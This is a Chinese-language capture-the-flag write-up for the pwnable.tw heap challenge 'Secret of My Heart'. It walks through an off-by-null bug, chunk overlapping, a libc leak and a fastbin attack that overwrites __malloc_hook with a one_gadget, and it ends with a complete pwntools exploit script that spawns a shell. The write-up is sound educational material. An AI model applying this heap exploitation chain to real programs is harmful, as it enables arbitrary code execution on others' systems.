pwnable.tw Secret of My Heart

pwnable.tw上的题目,Secret og My Heart。

题目简述

保护全开:

1
2
3
4
5
6
7
8
$ checksec ./secret_of_my_heart
[*] '/home/ubuntu/Documents/pwn/pwnable/secret/secret_of_my_heart'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

题目漏洞

题目有一个off by null的漏洞,在接受完用户的输入后,会在其末尾加一个‘\x00’:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
_BYTE *__fastcall add_heap(__int64 a1, __int64 a2)
{
_BYTE *result; // rax
size_t size; // [rsp+0h] [rbp-20h]

*(_QWORD *)a1 = a2;
printf("Name of heart :", a2);
my_read((void *)(a1 + 8), 0x20u);
*(_QWORD *)(a1 + 0x28) = malloc(size);
if ( !*(_QWORD *)(a1 + 0x28) )
{
puts("Allocate Error !");
exit(0);
}
printf("secret of my heart :", 0x20LL);
result = (_BYTE *)(*(_QWORD *)(a1 + 0x28) + (signed int)my_read(*(void **)(a1 + 0x28), size));
*result = 0; //off by null
return result;
}

利用过程

(1)首先利用off by null的漏洞进行chunk overlapping,以得到两个地址相同的chunk。

chunk overlapping

首先申请三个chunk,大小分别为0x30、0x110和0x110,并伪造chunk 2的prev_size,利用off by null覆盖chunk 1的size为0x100,释放chunk 1和chunk 2后,合并进入到top chunk中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
add(0x28,"0000","a"*0x28) #idx0
add(0x100,"1111","b"*0xf0+p64(0x100)) #idx1
add(0x100,"2222","c"*0x100) #idx2

delete(1)
delete(0)

add(0x28,"0000","d"*0x28) #idx0 off by null
add(0x80,"1111","e"*0x80) #idx1
add(0x10,"3333","f"*0x10) #idx3

##put into top chunk
delete(1)
delete(2)

在delete(2)之前,chunk的状态如下,此时再释放chunk 2,尝试进行后向合并,会根据其prev_size位找到上一个chunk就是chunk 1位置,触发unlink,合并后的chunk大小为0x110+0x110=0x220,一起进入到top chunk中,但其中还夹杂着我们已分配的chunk 3,达到chunk overlapping的目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gdb-peda$ x /8gx 0x555555757030 #chunk 1(freed)
0x555555757030: 0x6464646464646464 0x0000000000000091
0x555555757040: 0x00005555557570e0 0x00007ffff7dd1b78
0x555555757050: 0x6565656565656565 0x6565656565656565
0x555555757060: 0x6565656565656565 0x6565656565656565
gdb-peda$ x /8gx 0x5555557570c0 #chunk 3
0x5555557570c0: 0x0000000000000090 0x0000000000000020
0x5555557570d0: 0x6666666666666666 0x6666666666666666
0x5555557570e0: 0x6262626262626200 0x0000000000000051
0x5555557570f0: 0x00007ffff7dd1b78 0x0000555555757030
gdb-peda$ x /8gx 0x555555757140 #chunk 2
0x555555757140: 0x0000000000000110 0x0000000000000110
0x555555757150: 0x6363636363636363 0x6363636363636363
0x555555757160: 0x6363636363636363 0x6363636363636363
0x555555757170: 0x6363636363636363 0x6363636363636363

再分配与chunk 3相同位置的chunk并释放进入unsorted bin中,然后泄露libc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
add(0x80,"1111","g"*0x80) #idx1
add(0x100,"2222","h"*0x68+p64(0x1234)) #idx2
add(0x80,"4444","i"*0x80) #idx4 seperate from top chunk

delete(2)
show(3)
p.recvuntil("Secret : ")
leak_addr = u64(p.recvn(6).ljust(8,'\x00'))
libc_base = leak_addr - libc.symbols["__malloc_hook"] - 0x68
print "libc_base:",hex(libc_base)
if sys.argv[1] == "process":
one_gadget = libc_base + 0xf02a4
else:
one_gadget = libc_base + 0xef6c4

目前bins的状态如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555757260 (size : 0x20cd0)
last_remainder: 0x5555557570e0 (size : 0x6868686868686868)
unsortbin: 0x5555557570c0 (size : 0x110)
(0x050) smallbin[ 3]: 0x5555557570e0 (invaild memory)

接下来要想办法在malloc_hook-0x23处伪造大小为0x70的chunk,要构造一种double free的状态,相同地址的堆块一个在fastbin中,一个在unsorted bin中,然后从unsorted bin中申请堆块,并修改其fd指针为malloc_hook-0x23处。这里使用了house of spirit。

house of spirit

首先申请一个0x110的堆块,这个堆块的地址覆盖了chunk 3,然后就可以在chunk 3处伪造一个0x70的堆块,释放chunk 3,chunk 3进入到fastbin中,再释放chunk 1,chunk 1进入到unsorted bin中,构造了一种double free的状态。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
gdb-peda$ x /20gx 0x555555757030 #chunk 1
0x555555757030: 0x6464646464646464 0x0000000000000111
0x555555757040: 0x6161616161616161 0x6161616161616161
0x555555757050: 0x6161616161616161 0x6161616161616161
0x555555757060: 0x6161616161616161 0x6161616161616161
0x555555757070: 0x6161616161616161 0x6161616161616161
0x555555757080: 0x6161616161616161 0x6161616161616161
0x555555757090: 0x6161616161616161 0x6161616161616161
0x5555557570a0: 0x6161616161616161 0x6161616161616161
0x5555557570b0: 0x6161616161616161 0x6161616161616161
0x5555557570c0: 0x0000000000000000 0x0000000000000071 #chunk 3
gdb-peda$ x /20gx 0x5555557570c0 #chunk 3
0x5555557570c0: 0x0000000000000000 0x0000000000000071
0x5555557570d0: 0x00007ffff7dd1b00 0x00007ffff7dd1b78
0x5555557570e0: 0x6868686868686868 0x6868686868686868
0x5555557570f0: 0x6868686868686868 0x6868686868686868
0x555555757100: 0x6868686868686868 0x6868686868686868
0x555555757110: 0x6868686868686868 0x6868686868686868
0x555555757120: 0x6868686868686868 0x6868686868686868
0x555555757130: 0x6868686868686868 0x0000000000001234
0x555555757140: 0x0000000000000100 0x0000000000000091
0x555555757150: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
~~~
~~~python
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
delete(1)
payload = "a"*0x80 + p64(0) + p64(0x71)
add(0x100,"1111",payload) #idx1
delete(3)
delete(1)

此时bins的分布如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x5555557570c0 (overlap chunk with 0x555555757030(freed) )
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555757260 (size : 0x20cd0)
last_remainder: 0x555555757140 (size : 0x90)
unsortbin: 0x555555757030 (size : 0x1a0)
(0x050) smallbin[ 3]: 0x5555557570e0 (invaild memory)

然后我们再申请chunk,并修改0x5555557570c0为起始地址的堆块的fd指针为malloc_hook-0x23,申请两次得到该chunk,覆盖malloc_chunk为one_gadget。

1
2
3
4
5
6
##fastbin attack
payload = "b"*0x80 + p64(0) + p64(0x71)
payload += p64(malloc_hook-0x23)
add(0x100,"1111",payload) #idx1
add(0x60,"2222","bbbb") #idx2
add(0x60,"3333","\x00"*0x13+p64(one_gadget)) #idx3

最后触发由于one_gadget的约束条件不满足,以前我都没注意这个约束条件,每次都是一个一个的试,总有一个成功了,但这次是4个都不满足,看了这篇博客
才知道正常malloc不能触发的解决方案,可以利用malloc_printerr触发one_gadget,从而满足one_gadget的约束条件。该函数在glibc malloc检查到错误时会触发。

1
2
##trigger
delete(3)

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
import sys

context.log_level = "debug"
elf = ELF("./secret_of_my_heart")

if sys.argv[1] == "process":
p = process("./secret_of_my_heart")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
p = remote("chall.pwnable.tw",10302)
libc = ELF("./libc_64.so.6")

def add(size,name,secret):
p.recvuntil("Your choice :")
p.sendline('1')
p.recvuntil("Size of heart : ")
p.sendline(str(size))
p.recvuntil("Name of heart :")
p.send(name)
p.recvuntil("secret of my heart :")
p.send(secret)

def show(idx):
p.recvuntil("Your choice :")
p.sendline('2')
p.recvuntil("Index :")
p.sendline(str(idx))

def delete(idx):
p.recvuntil("Your choice :")
p.sendline('3')
p.recvuntil("Index :")
p.sendline(str(idx))


add(0x28,"0000","a"*0x28) #idx0
add(0x100,"1111","b"*0xf0+p64(0x100)) #idx1
add(0x100,"2222","c"*0x100) #idx2

delete(1)
delete(0)

#gdb.attach(p)
add(0x28,"0000","d"*0x28) #idx0
add(0x80,"1111","e"*0x80) #idx1
add(0x10,"3333","f"*0x10) #idx3
#gdb.attach(p)

delete(1)
delete(2)

#gdb.attach(p)
add(0x80,"1111","g"*0x80) #idx1
add(0x100,"2222","h"*0x68+p64(0x1234)) #idx2
add(0x80,"4444","i"*0x80) #idx4

#gdb.attach(p)
delete(2)
show(3)
p.recvuntil("Secret : ")
leak_addr = u64(p.recvn(6).ljust(8,'\x00'))
libc_base = leak_addr - libc.symbols["__malloc_hook"] - 0x68
print "libc_base:",hex(libc_base)
if sys.argv[1] == "process":
one_gadget = libc_base + 0xf02a4
else:
one_gadget = libc_base + 0xef6c4


##house of spirit
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
delete(1)
payload = "a"*0x80 + p64(0) + p64(0x71)
add(0x100,"1111",payload) #idx1
delete(3)
delete(1)


payload = "b"*0x80 + p64(0) + p64(0x71)
payload += p64(malloc_hook-0x23)
add(0x100,"1111",payload) #idx1
add(0x60,"2222","bbbb") #idx2
add(0x60,"3333","\x00"*0x13+p64(one_gadget)) #idx3

##trigger
delete(3)

p.interactive()

参考

http://tacxingxing.com/2018/02/20/pwnabletw-secretofmyheart/